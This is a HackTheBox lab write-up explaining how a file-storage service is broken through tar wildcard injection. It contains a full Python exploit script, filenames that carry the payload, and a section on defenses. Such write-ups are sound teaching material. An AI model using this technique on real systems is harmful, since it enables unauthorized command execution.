miscfreeeasy-medium

Micro Storage v1.0

hackthebox

Task: TCP file storage service with filename filtering. Solution: Tar wildcard injection via --checkpoint-action to achieve RCE by uploading filenames that tar interprets as options.

$ ls tags/ techniques/
tar_wildcard_injectioncheckpoint_action_rce

Micro Storage v1.0 — HackTheBox Labs

Description

A group of people made a network service that lets you store files temporarily. But they made a mistake coding their script. The goal is to leak the contents of /flag.txt.

Target: 83.136.249.164:31556 (TCP network service)

Reconnaissance

The service ("Micro Storage v1.0") is a TCP-based file storage application with the following menu:

OptionFunction
1Upload a new file (max 10 files, filename ≤ 32 chars, content terminated by EOF)
2List uploaded files (shows identifiers 0–9)
3Delete a file by identifier
4Print file content by identifier
5Compress and download all files — creates a tar archive, base64-encodes, outputs
0Quit

Security Filters

The service blocks certain characters in filenames:

  • Blocked: /, ../, $, &, (, {, `, <, |, ;
  • Error message: "No no no, you're trying to hack us"
  • Max filename length: 32 characters

What's NOT blocked

Filenames starting with -- (double dash) pass all filters. This is the critical oversight.

Analysis

Vulnerability: Tar Wildcard Injection

Option 5 ("Compress and download") internally runs tar with a shell wildcard (*) to archive all uploaded files in the user's storage directory:

tar cf archive.tar *

When the shell expands *, filenames that look like command-line arguments (starting with --) are interpreted by tar as options, not as filenames. This is a well-known technique documented on GTFOBins.

Key tar options for exploitation

OptionEffect
--checkpoint=NTriggers a checkpoint action every N records
--checkpoint-action=exec=CMDExecutes CMD at each checkpoint

By uploading files whose names are these tar options, we can achieve arbitrary command execution when the service runs tar cf archive.tar *.

Filename length constraint

The --checkpoint-action=exec=CMD filename must fit within 32 characters. Solution: use a single-character script filename (x) so the full option --checkpoint-action=exec=sh x is only 29 characters.

Solution

Step 1: Upload a shell script as a file

Upload a file named x with content cat /flag.txt. This serves as the payload script.

Step 2: Upload the checkpoint trigger

Upload a file named --checkpoint=1. After wildcard expansion, tar interprets this as the --checkpoint=1 option.

Step 3: Upload the checkpoint action

Upload a file named --checkpoint-action=exec=sh x (29 chars, fits within 32-char limit). This tells tar to execute sh x at each checkpoint.

Step 4: Trigger compression

Select option 5. The service runs:

tar cf archive.tar *

After wildcard expansion, this becomes:

tar cf archive.tar --checkpoint=1 --checkpoint-action=exec=sh\ x x

Tar executes sh xcat /flag.txt, and the flag appears in the output before the base64-encoded archive.

Exploit Script

#!/usr/bin/env python3 """ Micro Storage v1.0 — Tar Wildcard Injection Exploit HackTheBox Labs """ import socket import select import time def recv_available(s, timeout=1.5): """Receive all available data from socket with timeout.""" data = b'' while True: ready = select.select([s], [], [], timeout) if ready[0]: chunk = s.recv(4096) if not chunk: break data += chunk timeout = 0.3 else: break return data.decode(errors='replace') def upload_file(s, filename, content): """Upload a file to the service.""" s.sendall(b'1\n') time.sleep(0.3); recv_available(s) s.sendall(filename.encode() + b'\n') time.sleep(0.3); recv_available(s) s.sendall(content.encode() + b'\nEOF\n') time.sleep(0.5); recv_available(s, 2) # Connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('83.136.249.164', 31556)) time.sleep(1) banner = recv_available(s, 2) print(f"[*] Connected:\n{banner[:200]}") # Step 1: Upload script file print("[+] Uploading payload script 'x'...") upload_file(s, 'x', 'cat /flag.txt') # Step 2: Upload checkpoint trigger print("[+] Uploading '--checkpoint=1'...") upload_file(s, '--checkpoint=1', 'a') # Step 3: Upload checkpoint action print("[+] Uploading '--checkpoint-action=exec=sh x'...") upload_file(s, '--checkpoint-action=exec=sh x', 'a') # Step 4: Trigger tar wildcard injection print("[+] Triggering compress (option 5)...") s.sendall(b'5\n') time.sleep(5) result = recv_available(s, 5) print(f"[*] Output:\n{result[:500]}") s.close()

Attack Flow Diagram

┌─────────────────────────────────────────────────────┐
│                  Uploaded Files                      │
│                                                      │
│  x                          → contains "cat /flag.txt"│
│  --checkpoint=1             → tar interprets as option│
│  --checkpoint-action=exec=sh x → tar option: run sh x│
└──────────────────────┬──────────────────────────────┘
                       │
                       ▼  Option 5: Compress
              ┌─────────────────┐
              │ tar cf arch * │
              └────────┬────────┘
                       │ shell wildcard expansion
                       ▼
    tar cf arch --checkpoint=1 --checkpoint-action=exec=sh\ x x
                       │
                       ▼  checkpoint triggers
                  sh x → cat /flag.txt
                       │
                       ▼
              HTB{@bus1Ng_gTf0_b1N$_c4n_b3_fUn_...}

Key Indicators

Use this technique when:

  • The service uses tar with a wildcard (*) to archive user-controlled files
  • You can control filenames in the target directory
  • Filename filtering does not block -- (double dash) prefix
  • You need to achieve arbitrary command execution via tar checkpoint-action
  • Filename length restrictions can be bypassed with a short script name

Defense

To prevent this attack:

  1. Don't use wildcard * with tar — enumerate files explicitly
  2. Use -- before the file list: tar cf archive.tar -- * (separates options from arguments)
  3. Filter -- in filenames — block filenames starting with a dash
  4. Use ./ prefix: tar cf archive.tar ./* (all names start with ./, not interpreted as options)

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups